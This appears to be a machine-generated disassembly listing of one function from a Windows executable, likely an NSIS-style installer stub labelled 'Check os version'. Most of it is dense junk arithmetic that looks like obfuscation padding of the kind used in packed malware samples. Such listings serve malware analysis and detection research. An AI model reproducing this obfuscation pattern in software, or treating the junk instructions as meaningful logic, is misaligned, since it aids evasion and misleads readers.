Function at 0x403328
Capabilities:
Check os version

Disassembly:
sub esp, 0x184
push ebx
push esi
push edi
xor ebx, ebx
push 0x8001
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [esp + 0x20], ebx
mov byte [esp + 0x14], 0x20
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xbfffffff
cmp ax, 6
mov dword [0x42472c], eax
je 0x40337a
push ebx
call fcn.0040646c
cmp eax, ebx
je 0x40337a
push 0xc00
call eax
mov esi, str.UXTHEME
push esi
call fcn.004063fe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x40337f
push 0xa
call fcn.0040646c
push 8
call fcn.0040646c
push 6
mov dword [0x424724], eax
call fcn.0040646c
cmp eax, ebx
je 0x4033c1
push 0x1e
call eax
test eax, eax
je 0x4033c1
or byte [0x42472f], 0x40
push ebp
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov dword [0x4247f8], eax
push ebx
lea eax, [esp + 0x38]
push 0x160
push eax
push ebx
push 0x41fcf0
call fcn.00405eb2
cmp dword [0x40a059], 0x46be29f9
ja 0x4033f9
ror eax, 0x1d
or esi, ebx
ror edx, 0x16
sub eax, eax
inc esi
sub eax, 0x818b476b
or eax, 0xe30091e3
cmp dword [str.SetDefaultDllDirectories], ebp
jg 0x40341b
and edx, 0xbd5f5428
test ebx, eax
jp 0x403424
mov edi, 0x72270e60
add ebx, 0x10d547ae
shl ebx, 5
sub dword [0x424ae0], esi
rol edi, 1
sub esi, 0xfe1e6226
cmp dword [0x40a287], esi
js 0x403449
call fcn.00405770
mov ecx, 0x55e048ea
sub ebx, dword [0x40a07d]
inc ebx
cmp dword [0x40a397], 0x2c08e08f
je 0x403462
inc edx
xchg ebx, edx
add ebx, 0xa007ec3e
and edx, esp
inc esi
and eax, ebp
not edx
neg esi
dec edx
shl eax, 0x1e
and edx, edi
rol edx, 2
neg eax
or esi, ecx
dec ecx
jne 0x40344e
add ebx, edx
mov ecx, 0x61dbcda5
cmp ebp, edi
jbe 0x403495
xor edi, 0x567dfc6e
and esi, 0xde834a8
rol ebx, 0x1d
add esi, 0x9c5b9840
xor dword [0x424b4c], 0xdcbe7912
xor edx, 0xa7d09299
add edx, esp
not edi
xor esi, dword [0x40a0d2]
or ebx, 0xa6d5cd71
or dword [0x424970], 0x7804a663
call 0x404f55
not esi
cmp ebp, 0xca35c6e8
je 0x4034df
neg esi
sub eax, 0x6ec3dd2c
or edx, edi
dec ecx
jne 0x40348b
shr esi, 5
shl edx, 3
sub esi, 0x2ac87a69
xchg eax, esi
mov eax, 0xcd57db12
neg ebx
shr ebx, 0x17
dec eax
xor eax, 0x55a0d7b5
dec eax
call fcn.004055b9
test edx, ebx
jne 0x40351a
sub eax, dword [0x40a2b9]
shl eax, 0x13
sub eax, eax
sub ebx, 0x3bcdb563
mov ebx, eax
mov esi, 0x8b7345c1
ror eax, 0x14
call 0x404f55
mov dword [0x424a24], eax
or ebx, dword [0x424c7b]
call fcn.004055b9
add ecx, dword [0x424f1a]
xor edi, 0xabd61ebd
xor ecx, 0x738da597
call fcn.00402301
dec edi
add dword [0x424b24], eax
not esi
inc edx
call 0x404f55
inc ecx
add edx, 0x9373252f
inc esi
call 0x404f55
ror ecx, 0x17
sub dword [0x424bb3], edi
call fcn.004055b9
call 0x404f55
and dword [0x424b37], edx
rol ecx, 0x17
call 0x404f55
dec esi
sub edx, 0x9373252f
dec ecx
call 0x404f55
dec edx
not esi
inc edi
call fcn.00401d88
xor ecx, 0x738da597
xor edi, 0xabd61ebd
call 0x404f55
add dword [0x424ae8], edi
call fcn.00401d88
rol eax, 0x14
and esi, 0x6e6c8d38
or ebx, dword [0x424c75]
or dword [0x424bcb], edx
call fcn.00405eb2
inc ecx
sub ebx, ecx
xchg edx, esi
add ebx, dword [0x424c92]
add ebx, dword [0x424fb9]
call fcn.00405f01
or dword [0x424ad5], ebx
add edx, 0x66f9c8e1
rol esi, 0x18
or esi, dword [0x424c7c]
neg ebx
or eax, dword [0x424cad]
not ebx
call 0x404f55
sub edi, 0xd1f99ab5
call 0x404f55
add ebx, 0xdff49203
call fcn.00401d88
sub ebx, 0xdff49203
call 0x404f55
add edi, 0xd1f99ab5
call 0x404f55
not ebx
neg ebx
ror esi, 0x18
sub edx, 0x66f9c8e1
xor dword [0x424973], esi
call fcn.0040684b
xchg edx, esi
add ebx, ecx
dec ecx
call fcn.00405eb2
xor esi, 0xa600500
or dword [0x424be5], ecx
inc ecx
call fcn.00402554
xchg edi, esi
xor dword [0x424962], edx
or ebx, dword [0x424f5b]
xor dword [0x4249a5], ecx
add edx, dword [0x424e2a]
rol edi, 0x13
dec edx
not edx
xor dword [0x424ae2], 0xb0415ca2
add eax, 0xe211af9
call fcn.004065b0
rol esi, 0xe
xor edi, ebp
sub ecx, 0xf908b4ba
add edi, 0x1d330f80
dec ebx
and dword [0x424a21], edx
inc ebx
sub edi, 0x1d330f80
add ecx, 0xf908b4ba
xor edi, ebp
ror esi, 0xe
sub eax, 0xe211af9
not edx
inc edx
ror edi, 0x13
add dword [0x4248f1], ecx
mov dword [0x42495b], edi
xchg edi, esi
call 0x404f55
dec ecx
push esi
xor edx, dword [0x424dd7]
call fcn.00405eb2
inc ebx
xor esi, 0xe6d10bd6
not edi
xor edi, dword [0x424f29]
xchg edx, esi
rol edi, 3
dec ebx
call 0x404f55
xor ecx, 0x665fe91d
xor edx, dword [0x424d1e]
or ecx, dword [0x424e4c]
sub ecx, dword [0x424d9d]
xor ecx, 0x665fe91d
call 0x404f55
inc ebx
ror edi, 3
xchg edx, esi
not edi
xor esi, 0xe6d10bd6
dec ebx
call fcn.004065b0
mov edx, 0xd5457bff
xor ebx, esi
neg edx
and dword [0x424b40], ecx
not esi
rol edi, 0xe
sub edx, dword [0x424da8]
dec ecx
or dword [0x424846], ecx
add ecx, dword [0x424e94]
or dword [0x424b4c], edx
xor edi, 0x98450e45
and dword [0x424b9b], ebx
xor ebx, 0x3185c6b5
or edx, dword [0x424e02]
xor dword [0x424af6], eax
not ebx
sub ebx, 0xf57ec4b2
call fcn.00401d88
call 0x4033af
add ebx, 0xf57ec4b2
not ebx
mov dword [0x4249be], edx
xor ebx, 0x3185c6b5
xor edi, 0x98450e45
mov dword [0x424a1c], ecx
xor dword [0x424912], esi
inc ecx
ror edi, 0xe
not esi
xor dword [0x424b18], eax
neg edx
xor ebx, esi
sub edx, 0x5d5eeeb1
and dword [0x4248fe], esi
add eax, dword [0x424da9]
xor edi, 0x9b126641
ror esi, 5
neg ebx
rol ebx, 7
inc ecx
xor edx, ebx
sub esi, dword [0x424c11]
xchg eax, edx
xchg eax, edx
xor edx, ebx
dec ecx
ror ebx, 7
neg ebx
rol esi, 5
xor edi, 0x9b126641
add dword [0x424a07], ebx
sub edx, 0x45b320e9
ror ebx, 1
and dword [0x42483d], ecx
add ebx, edi
xor esi, dword [0x424d14]
xor ebx, dword [0x424cbf]
dec ecx
or edx, dword [0x424f66]
or edx, dword [0x424c69]
rol edx, 0x15
add edx, dword [0x424ef7]
inc eax
call fcn.0040215a
dec eax
ror edx, 0x15
inc ecx
sub ebx, edi
rol ebx, 1
push edx
sub ecx, dword [0x424fab]
xor ecx, 0x52cad84
inc edx
call fcn.00401590
add dword [0x424be6], eax
ror edx, 0x1b
xchg edx, esi
rol edx, 0x14
neg edi
call 0x404f55
xor ebx, 0x52ab5df6
push edx
sub dword [0x4248ca], eax
not eax
add edi, 0x88a83140
call 0x404fd7
ror ecx, 4
rol ecx, 4
sub edi, 0x88a83140
not eax
xor dword [0x424a00], esi
xor ebx, 0x52ab5df6
neg edi
ror edx, 0x14
xchg edx, esi
rol edx, 0x1b
call fcn.00402403
dec edx
xor ecx, 0x52cad84
mov edi, 0xa63650aa
xor edi, edx
ror edx, 3
neg esi
inc ebx
xor esi, dword [0x424c8a]
xor eax, ecx
xor ebx, dword [0x424db0]
not ecx
xchg esi, eax
xor eax, ecx
sub ecx, dword [0x424e50]
rol ebx, 0x1e
xor esi, 0x72efd28a
add edi, edx
add ecx, dword [0x424d6e]
and dword [0x424a4b], edx
not ebx
and dword [0x424bf5], 0xfed79d5d
or dword [0x424b7f], 0x8fc95505
not ebx
sub edi, edx
xor esi, 0x72efd28a
ror ebx, 0x1e
xor eax, ecx
xchg esi, eax
not ecx
xor eax, ecx
dec ebx
neg esi
rol edx, 3
xor edi, edx
and edi, 0x6bf26dbd
mov dword [0x424b1a], 0xeda1cfc3
xor edx, 0xa9a879f9
and dword [0x4249c3], eax
sub eax, dword [0x424c4b]
sub edx, dword [0x424d36]
neg edx
rol esi, 0x13
xor edi, ebx
xor ecx, dword [0x424d36]
xor eax, 0x1817e490
not edi
or ebx, dword [0x424c2f]
call 0x404f55
or ebx, dword [0x424c1f]
rol edx, 0x18
neg ecx
sub edi, 0x104db769
xor esi, ebp
add edi, ecx
or esi, dword [0x424c3e]
sub edi, ecx
xor esi, ebp
add edi, 0x104db769
neg ecx
ror edx, 0x18
call 0x404f55
not edi
xor eax, 0x1817e490
xor edi, ebx
ror esi, 0x13
neg edx
xor edx, 0xa9a879f9
xor dword [0x424bda], 0x5a157d6e
xor edi, 0x4c4025c3
sub dword [0x424848], ebx
xor dword [0x424a9c], edi
add edx, dword [0x424eea]
add dword [0x424ac0], esi
sub edx, eax
xchg edx, eax
not eax
call 0x404f55
xor dword [0x4248d0], edi
call 0x404f55
mov dword [0x42498d], 0xbcf6b40b
neg eax
and dword [0x4248e8], esi
add esi, 0x96222e25
call fcn.00405eb2
call 0x404f55
sub esi, 0x96222e25
and dword [0x424a2f], eax
neg eax
call fcn.00402403
sub dword [0x4249ce], edi
not eax
xchg edx, eax
add edx, eax
sub dword [0x42492c], ebx
sub dword [0x424ba6], esi
push edi
add edi, dword [0x424d96]
inc edi
call fcn.00405eb2
or dword [0x4249a1], ecx
rol esi, 0x1c
sub esi, dword [0x424ed0]
dec ebx
xchg edx, esi
xor dword [0x424b57], eax
rol eax, 0x1d
and dword [0x4248ff], 0x4d95ea83
inc ecx
rol edi, 7
add edx, 0xc93f7a11
dec esi
xor edi, 0x8125990a
call 0x404f55
xchg edx, esi
sub eax, dword [0x424cd6]
neg esi
add eax, esi
call fcn.00405f01
call fcn.00402aca
sub eax, esi
neg esi
xchg edx, esi
xor edi, 0x8125990a
inc esi
sub edx, 0xc93f7a11
ror edi, 7
dec ecx
ror eax, 0x1d
add dword [0x424aae], edi
xchg edx, esi
inc ebx
ror esi, 0x1c
or dword [0x42487f], ecx
call 0x404f55
dec edi
push esp
ror esi, 5
call fcn.00401b6d
add edi, ebx
neg esi
xor esi, dword [0x424f2a]
mov dword [0x4248c5], 0x2945af14
inc edi
call fcn.00402637
or eax, dword [0x424f62]
xor dword [0x424b61], 0x6763e3f5
sub dword [0x424bac], esi
neg ebx
add esi, eax
add edx, dword [0x424d18]
sub edi, 0x1051f012
xor dword [0x4248df], ecx
call fcn.004065b0
call fcn.00401590
add edi, 0x1051f012
sub esi, eax
neg ebx
call 0x404f55
dec edi
sub dword [0x4249a0], 0xf58d3d23
neg esi
sub edi, ebx
call 0x404f55
rol esi, 5
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add ebx, 0xe6793423
not edi
inc edi
sub edi, ebp
rol eax, 0x1c
xor esi, dword [0x424f0a]
sub dword [0x424b5b], ebx
call 0x404f55
neg edi
call fcn.00402db2
call 0x404f55
neg edi
ror eax, 0x1c
add edi, ebp
dec edi
not edi
sub ebx, 0xe6793423
add esp, 0xc
add ebx, eax
sub dword [0x424980], ebx
inc edi
xor edx, dword [0x424f57]
not ecx
and dword [0x424ab1], eax
neg edx
mov dword [0x424982], eax
sub esi, ecx
xor dword [0x424883], ebx
xor ecx, esp
sub eax, esp
not esi
xor edx, esp
call fcn.00402301
call fcn.004065b0
xor edx, esp
not esi
add eax, esp
xor ecx, esp
add dword [0x424865], edx
add esi, ecx
or dword [0x424a7a], edi
neg edx
or dword [0x424a12], edx
not ecx
dec edi
sub ebx, eax
mov esi, 0xba2d66a9
ror edi, 6
xchg ebx, esi
sub edi, ecx
ror ecx, 0xd
xchg ecx, edx
dec ecx
xchg edx, eax
not esi
xor edx, dword [0x424f4f]
inc ebx
rol edi, 0x17
call fcn.0040520b
not esi
add dword [0x424bf9], edi
rol ebx, 0x1a
inc esi
xor eax, dword [0x424d74]
sub esi, dword [0x424e59]
ror eax, 0x13
call fcn.00405eb2
call fcn.0040520b
rol eax, 0x13
dec esi
ror ebx, 0x1a
mov dword [0x424900], esi
not esi
ror edi, 0x17
dec ebx
not esi
xchg edx, eax
inc ecx
xchg ecx, edx
rol ecx, 0xd
add edi, ecx
xchg ebx, esi
rol edi, 6
or esi, 0x6bffad0f
not ebx
sub ebx, esi
call 0x404f55
xor dword [0x424a1e], 0xd20f484f
not esi
or edi, dword [0x424eb0]
call fcn.004065b0
xor dword [0x424a6b], ebx
add edx, 0xc0fdfbcc
sub dword [0x424962], 0x307686a8
sub ecx, edx
neg ebx
xor ecx, dword [0x424ed9]
and dword [0x424a28], ecx
ror ebx, 0x1c
neg edi
add ecx, ebp
call fcn.0040315a
sub ecx, ebp
neg edi
rol ebx, 0x1c
add dword [0x424b88], ecx
neg ebx
add ecx, edx
sub edx, 0xc0fdfbcc
call fcn.0040684b
not esi
xor dword [0x424997], 0x1066dcad
add ebx, esi
not ebx
xor esi, 0xfbffefaf
mov dword [0x424bea], eax
sub dword [0x4248e4], eax
call 0x404f55
sub dword [0x424962], edi
not esi
ror ecx, 0x10
mov dword [0x424aba], edi
sub ebx, 0x9fa180e2
and dword [0x42496f], esi
or edx, dword [0x424dae]
sub dword [0x424b70], edi
and dword [0x424af6], edx
add dword [0x424a63], ecx
add ebx, 0x9fa180e2
rol ecx, 0x10
not esi
call 0x404f55
add dword [0x424b31], edi
add dword [0x424add], edi
push esi
add esi, dword [0x424ed2]
add eax, 0xd011e53
neg edx
add eax, 0x5e99aed8
and dword [0x424af7], ebx
neg ebx
call 0x404f55
xor ecx, edi
sub esi, dword [0x424dbb]
add ebx, 0xf658e086
dec edi
call fcn.0040315a
xor eax, edi
sub dword [0x424ace], ebx
xchg eax, esi
xchg eax, esi
xor eax, edi
call fcn.00402301
inc edi
sub ebx, 0xf658e086
xor ecx, edi
call fcn.00402d13
neg ebx
and dword [0x424b80], edi
sub eax, 0x5e99aed8
neg edx
sub eax, 0xd011e53
mov edi, 0xe02ee5ac
xor dword [0x424b15], ecx
add edi, dword [0x424eb3]
call fcn.0040215a
add edi, 0x7cf26b8d
xor dword [0x424912], esi
xchg edi, eax
add esi, dword [0x424c95]
neg esi
call fcn.004055b9
inc ecx
neg esi
rol ebx, 0x12
mov dword [0x42494e], eax
rol ecx, 5
neg esi
xor eax, esp
sub ebx, dword [0x424eb6]
call fcn.004017b7
call fcn.0040576f
xor eax, esp
neg esi
ror ecx, 5
ror ebx, 0x12
neg esi
dec ecx
call fcn.00403327
neg esi
xchg edi, eax
sub dword [0x424a2b], esi
sub edi, 0x7cf26b8d
call fcn.0040315a
sub dword [0x4248b9], eax
xor edi, 0xe1a281f0
xor ebx, 0x7a73dbb0
inc ecx
not edx
rol ecx, 0x14
add esi, 0xe9bf741e
xchg ebx, eax
sub edx, 0x61a55948
call 0x404f55
mov dword [0x424aaa], eax
dec edi
sub edi, 0x5b309d07
inc edx
call 0x404f55
xor dword [0x42496b], ecx
call fcn.004065b0
or dword [0x424942], ecx
or dword [0x424933], edx
call fcn.00402868
or dword [0x424893], ecx
call 0x404f55
dec edx
add edi, 0x5b309d07
inc edi
call fcn.00405eb2
add edx, 0x61a55948
xchg ebx, eax
sub esi, 0xe9bf741e
ror ecx, 0x14
not edx
dec ecx
xor ebx, 0x7a73dbb0
xor edi, 0x62e30830
call 0x404f55
xor ecx, 0xc8eab567
xor eax, 0x716ef11e
dec edx
and dword [0x42498c], ecx
or ebx, dword [0x424ce4]
dec ebx
xor ebx, 0x1e2175cc
add edx, dword [0x424f7b]
xor edx, dword [0x424e79]
xor ebx, 0x1e2175cc
inc ebx
inc edx
xor eax, 0x716ef11e
xor ecx, 0xc8eab567
push edi
sub dword [0x424a56], eax
rol esi, 5
sub dword [0x424af1], ebx
not ecx
call 0x404f55
rol ecx, 0xf
sub eax, 0x3a6470ae
xor dword [0x424bf9], esi
sub dword [0x424a1a], ebx
ror eax, 0x15
or esi, dword [0x424cb0]
rol ecx, 0xe
neg esi
or ecx, dword [0x424e88]
neg eax
inc eax
sub dword [0x42486d], edx
xchg edi, eax
call 0x404f55
xchg edi, eax
mov dword [0x424a09], edi
dec eax
neg eax
neg esi
ror ecx, 0xe
rol eax, 0x15
and dword [0x42496a], edi
and dword [0x4248c7], edi
add eax, 0x3a6470ae
ror ecx, 0xf
not ecx
ror esi, 5
mov esi, 0xd3b51452
add ebx, dword [0x424cdc]
neg edx
sub ecx, dword [0x424da3]
xor edi, ebp
call fcn.0040520b
ror ebx, 0xc
dec eax
sub eax, edi
or edx, dword [0x424db0]
not ecx
call fcn.0040330e
or ebx, dword [0x424c54]
add dword [0x424850], ebx
inc edx
ror ecx, 0xc
rol ecx, 0xc
dec edx
and dword [0x424950], esi
call fcn.004065b0
not ecx
add eax, edi
inc eax
rol ebx, 0xc
call fcn.004065b0
xor edi, ebp
neg edx
add esi, 0xe7957390
xchg edi, edx
xor eax, 0x11c57801
call 0x404f55
xor edi, dword [0x424df3]
sub dword [0x424a3e], edx
not edx
xor ecx, esp
xor dword [0x42491f], edi
dec eax
ror ebx, 0x16
or dword [0x424888], ecx
inc esi
xor ecx, 0x76238c62
add edi, edx
and dword [0x424a54], edi
call 0x404f55
sub edx, dword [0x424c92]
call fcn.00402301
add edx, dword [0x424d45]
rol edi, 0x18
or dword [0x424b91], esi
and dword [0x424b67], ecx
ror edi, 0x18
sub edi, edx
xor ecx, 0x76238c62
dec esi
rol ebx, 0x16
inc eax
xor ecx, esp
not edx
mov dword [0x424a20], edi
call fcn.0040684b
xor eax, 0x11c57801
xchg edi, edx
xor esi, 0xfa26e697
neg edi
add dword [0x424b48], ebx
sub edx, dword [0x424f09]
rol ecx, 6
and dword [0x4248d0], ecx
neg ecx
or esi, dword [0x424d4c]
call fcn.00402301
or dword [0x424a41], edi
xor eax, dword [0x424ca1]
xor edi, 0x714c2cca
not edi
mov dword [0x42498f], eax
xchg esi, edx
rol edx, 9
call 0x404f55
sub ecx, ebp
inc eax
xor edi, esi
call fcn.00401b6d
call 0x404f55
xor edi, esi
dec eax
add ecx, ebp
ror edx, 9
xchg esi, edx
or dword [0x424b80], ebx
not edi
xor edi, 0x714c2cca
call fcn.00405eb2
neg ecx
ror ecx, 6
neg edi
push esi
sub dword [0x4248d5], ebx
xor dword [0x4249b2], eax
or dword [0x424b41], edx
xchg esi, edx
or dword [0x424b31], edx
sub eax, dword [0x424d78]
call fcn.00402e33
xchg edi, esi
add esi, dword [0x424e03]
add byte [ecx], ch
cmp eax, 0x4249b9
ror edx, 3
xchg eax, esi
dec esi
ror eax, 2
xor eax, dword [0x424f18]
rol eax, 2
inc esi
xchg eax, esi
rol edx, 3
xchg edi, esi
mov dword [0x424b6c], edx